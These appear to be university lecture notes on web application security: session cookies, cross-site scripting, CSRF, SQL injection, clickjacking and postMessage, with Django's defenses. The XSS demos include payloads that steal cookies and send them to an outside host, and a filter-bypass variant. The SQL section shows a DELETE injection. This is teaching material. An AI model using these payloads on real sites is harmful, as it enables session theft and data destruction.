Web application defenses
========================

Overall plan.
  Last lecture, looked at basic security mechanism: same-origin policy.
  This lecture will focus on how to build secure applications.
    Relies on same-origin policy, at some level.
    Focusing on common mistakes, and techniques/tools to avoid them.
  Next lecture will focus on HTTPS/SSL, network adversaries.

What's Django?
  Moderately popular web framework, used by some large sites.
    But other frameworks are more popular: PHP, Ruby on Rails.
    In the enterprise world, Java servlets, ASP, are widely used.
  Developers have put some amount of thought into security.
    A few reasonable examples of how to deal with security in web apps.
  Django is probably better in terms of security than some alternatives
    (PHP, Ruby on Rails), though of course depends on the details..
  Some trade-off between security and usability.
    E.g., displays nice error messages, which adversary may take advantage of.
  Some research frameworks may provide better security properties.
    E.g., Ur/Web: http://www.impredicative.com/ur/

Session management: cookies.
  [ Ref: http://pdos.csail.mit.edu/papers/webauth:sec10.pdf ]
  What should go into a cookie?
  Zoobar, Django, many web frameworks: random session ID.
  Session ID refers to an entry in some session table on the web server.
  Session cookies are sensitive: adversary can use them to impersonate user.
  Recall: cookie injection attacks with a shared domain.
    "Session fixation attack".
    Don't share a domain with sites you don't trust.
  What if we don't want to have server-side state for every logged in user?

Stateless cookies.
  Need to prevent user from manufacturing a cookie.
  General plan: authenticate the cookie using cryptography.
  Basic primitive: a message authentication code (MAC).
    Think of it as a keyed hash (e.g., HMAC-SHA1): H(k, m).
    Need key k both to produce the hash value and to check it.
  Strawman design: cookie contains user=name&hash=H(k, name)
    Problem: no expiration; cookie remains valid forever!
  Strawman design: cookie contains user=name&exp=date&hash=H(k, name+date)
    Problem: name and date could be confused in the hash!
    Hash value is the same for "alice1" "1/1/2014" and "alice" "11/1/2014".
    Adversary can take hash value for alice1 and use it in cookie for alice.
  Strawman design: encode name and date in an unambiguous way.
    E.g., fixed-length date, or explicit length, or escape separator symbol.
    Problem: cookie still remains valid after user changes the password.
    Fix: include password version# in cookie/hash.
  How do you log out with this kind of cookie design?
    Impossible, if the server is stateless.
    If server can be stateful, session IDs make this much simpler.

Alternatives to cookies for session management.
  HTML5 local storage: implement your own authentication in Javascript.
    Some web frameworks like Meteor do this.
    Benefit: cookie is not sent over the network to the server.
    Benefit: not subject to complex same-origin policy for cookies.
  Client-side X.509 certificates.
    Expiration dates; weak revocation story (will talk about this next week).
    Cannot steal certificates, unlike cookies.
    Web applications have little control over certificates.
  No session at all: require password for important operations.
    Low usability.

Cross-site scripting.
  Example: xss-demo.cgi simply echos back your name.
    [ demo: http://localhost/cgi-bin/xss-demo.cgi
      in `urxvt -fn xft:Monospace-20`, look at /var/www/cgi-bin/xss-demo.cgi,
      and look at page source in web browser.
      ?name=abc
      ?name=<script>alert(5)</script> ]
  Why is this bad?  Why would the user type in such a URL?
    The problem is an adversary that may trick user into visiting this URL.
  What can an adversary do by running code in vulnerable origin?
    Steal user's cookie: document.cookie
    [ demo: ?name=<script>alert(document.cookie)</script>, view source ]
  How does attacker get data out of a compromised site?
    Take advantage of allowed cross-origin requests.
    Simple plan: redirect the user's browser.
      [ demo: ?name=<script>window.location="http://pdos.csail.mit.edu/"%2bdocument.cookie</script> ]
    More subtle: create an <IMG SRC="http://pdos.csail.mit.edu/"+document.cookie> tag

Why is cross-site scripting so prevalent?
  Dynamic web sites incorporate user content in HTML pages.
  Web sites host uploaded user documents.
    HTML documents can contain arbitrary Javascript code.
    Non-HTML documents may be content-sniffed as HTML by browsers.
  Javascript APIs often "eval" supplied code.
    eval(), setTimeout(), etc.

XSS defenses.
  Browser XSS filters.
    Chrome: XSSAuditor.
    Complex heuristics, but looks for matches between args & script tags.
    Danger: adversary can selectively turn off scripts on a page
      [ demo: turn off X-XSS-Protection: 0, visit
              ?name=<script>document.write('Testing')</script> ]
    Problem: attacks that inject script in multiple pieces.
      [ demo: ?name=<script>void('&msg=')%3bwindow.location="http://pdos.csail.mit.edu/"%2bdocument.cookie</script> ]
    Most browsers have some kind of XSS filter in place for reflected XSS.
    Limitation: cannot handle stored XSS (not immediately echoed from query).
  Prevent Javascript access to cookies.
    "httponly" cookies.
    Partial defense.
    Adversary can still do damage by issuing requests with user's cookies.
  Privilege separation: another origin for untrusted content.
    Google hosts its cache, gmail attachments, etc from googleusercontent.com.
    Even if XSS is possible, injected code runs in a different origin.
    Possibly still a problem: gmail attachment data might be in this origin.
  General plan: encode user-supplied data so it's not interpreted as HTML tags.
  Django: templates.
    Targets cases when developer forgets to sanitize user input.
    Define output page by describing the "holes" in an HTML template.
    By default, the holes in a template are sanitized into HTML entities.
      Replace angle brackets, single and double quotes, and &.
      &lt;, &gt;, &quot;, etc.
    [ demo: add cgi.escape() around both variables ]
  Selectively sanitizing user inputs: if need to allow some HTML markup.
    Dangerous!  Recall how difficult it is to unambiguously parse HTML.
    Alternative plan: non-HTML markup, like Markdown.
    Easier to sanitize/check Markdown, then transform it into HTML.
  CSP: no inline Javascript, no eval-like Javascript functions.
    Programmers must load Javascript via <script src=".."> tags.
    CSP restricts the origin from which script code can be loaded.
    Not perfect but makes XSS harder to exploit.
    Can break existing sites (so enabled by each site using an HTTP header).
  Some browsers allow server to disable content type sniffing.
    X-Content-Type-Options: nosniff

Cross-site request forgery.
  Suppose Amazon had a single URL for ordering stuff.
    http://www.amazon.com/order?item=123&address=32 Vassar St
  Problem: adversary can get victim's browser to send HTTP requests to any URL.
    Adversary doesn't know victim's password or cookie.
    But victim's browser will use victim's cookie with every HTTP request.

Preventing CSRF attacks.
  Need to verify that request comes from user interacting with Amazon's page.
    Not as a result of user's browser loading a URL supplied by attacker.
  General plan: separate out requests based on side-effects.
    GET requests should have no side effects; allow.  (Part of HTTP spec.)
    For POST requests that have side effects, need a special plan.
  Django: CSRF tokens.
    Insert a secret value into each form that will be submitted via POST.
    Server generates secret value, unique for each user, not known to adversary.
  How does the server know what token to expect?
    Store token in cookie.
      Simple but susceptible to some attacks.
    Store token in user's session table, indexed by session ID.
      Stronger but requires server-side storage, and possibly more sessions.
  What if adversary specifies their own secret value?
    Rely on victim's browser to send correct token in cookie + session cookie.
    Susceptible to cookie injection attacks, under a shared domain.
      Adversary can change the authoritative "token" cookie to a known value.
  Tokens must remain secret!
    Leaked tokens defeat any CSRF protection.
    If user sends someone a copy of their HTML page, token may leak.
      Can reset tokens on each request, but that breaks forms on previous pages.
  Other approach: look at HTTP Referer header.
    Limitation: not always sent, so what to do with such requests?
    Blocking them breaks legitimate users; allowing enables attackers.

Login CSRF attacks.
  [ Ref: http://seclab.stanford.edu/websec/csrf/csrf.pdf ]
  Be careful about side-effects that take place in browser vs. server.
  E.g., login form might not have any server side effects, but sets cookie.
  Adversary could perform "session fixation" using CSRF on the login form.
  Should use CSRF protection for any cookie-setting requests.

Cross-domain content inclusion.
  Adversary can load page from another origin as an image, Javascript, or CSS.
    E.g., The Tangled Web pages 181-182.
  Must ensure sensitive data cannot be obtained by adversary in this manner.
    E.g., CSRF token should not leak in this manner.
  Defense approach:
    Set Content-Type appropriately.
      Does not prevent adversary from treating your document as JS, CSS, etc!
    Ensure data cannot be interpreted as Javascript, CSS, etc.  Tricky!
      For stand-alone data files, where format is flexible, start with ")]}\n".
      [ Ref: Browser security handbook ]

SQL injection.
  Suppose application needs to issue SQL query based on user input:
    query = "SELECT * FROM table WHERE userid=" + userid
  Problem: adversary can supply userid that changes SQL query structure.
    userid: 0; DELETE FROM table;
  What if we add quoting around userid?
    query = "SELECT * FROM table WHERE userid='" + userid + "'"
  Still problematic: adversary just adds another quote as first byte of userid
  Solution: unambiguously encode data
    E.g., replace ' with \', etc.
    SQL libraries provide escaping functions.
  Django: ORM.
    Applications don't need to write SQL, so fewer chances to screw up.
    Allows raw SQL if you really need it.

Directory traversal.
  Suppose application reads files based on user-supplied parameters.
    open("/www/images/" + filename)
  Problem: filename might include "/", so OS interprets it as many components.
  As with SQL injection, must unambiguously encode file names.
    File names cannot contain slashes.
    Either reject file names with slashes, or encode them in some way.

Clickjacking.
  Suppose the victim has access to some important application.
  Adversary's goal is to get the victim to perform some operation in that app.
    E.g., click on a button to "Like" a site in Facebook, or transfer money.
  Adversary can trick user into clicking / typing into sensitive application.
    Many approaches.
    Transparent overlay over an <iframe> containing victim application.
    Change cursor icon, so the cursor appears to be pointing elsewhere.
    Quickly move victim app under cursor when user is about to click.
    [ Ref: http://research.microsoft.com/pubs/188376/clickjacking.pdf ]
    [ Ref: The Tangled Web, page 180 ]

Defenses against clickjacking.
  Don't allow site to be embedded in another document.
    Javascript-based frame busting: check if page is loaded in a frame.
      Susceptible to race conditions: page loads before JS check runs?
    X-Frame-Options: deny (or sameorigin)
  What if some page needs to be embedded, such as the Facebook "Like" button?
  Explicitly confirm user operations.
    How to avoid clickjacking on the confirmation?
    Should confirm from a document that prevents embedding.
    Facebook asks for confirmation from suspect domains.
  More complex defense heuristics exist, unclear yet if they're practical.
    [ Ref: http://research.microsoft.com/pubs/188376/clickjacking.pdf ]

postMessage.
  Multiple web origins may need to interact in user's web browser.
  API provided by browser:
    Sender: window.postMessage(m, origin).
    Receiver: event callback, gets message and sender origin as arguments.
  Why does the application have to check the origin of received message?
    Access control based on what other origin sent the message.
    Common mistake: using regular expressions to check sender origin.
      Even if origin matches /.foo.com/, doesn't mean it's from foo.com.
      Could be "xfoo.com", or "www.foo.com.bar.com".
    [ Ref: https://www.cs.utexas.edu/~shmat/shmat_ndss13postman.pdf ]
  Why does the application have to specify the origin of sent message?
    postMessage is applied to a window, not an origin.
    Recall that adversary may be able to navigate windows in browser.
    If adversary navigates window, another origin may receive message!
    With explicit origin, browser checks recipient origin before delivering msg.
    [ Ref: http://css.csail.mit.edu/6.858/2013/readings/post-message.pdf ]

Many other aspects to building a secure web application.
  E.g., ensure proper access control for server-side operations.
    Django provides Python decorators to check access control rules.
  E.g., maintain logs for auditing, prevent adversary from modifying log.
  Homework Q: what pitfalls remain, how could you fix them?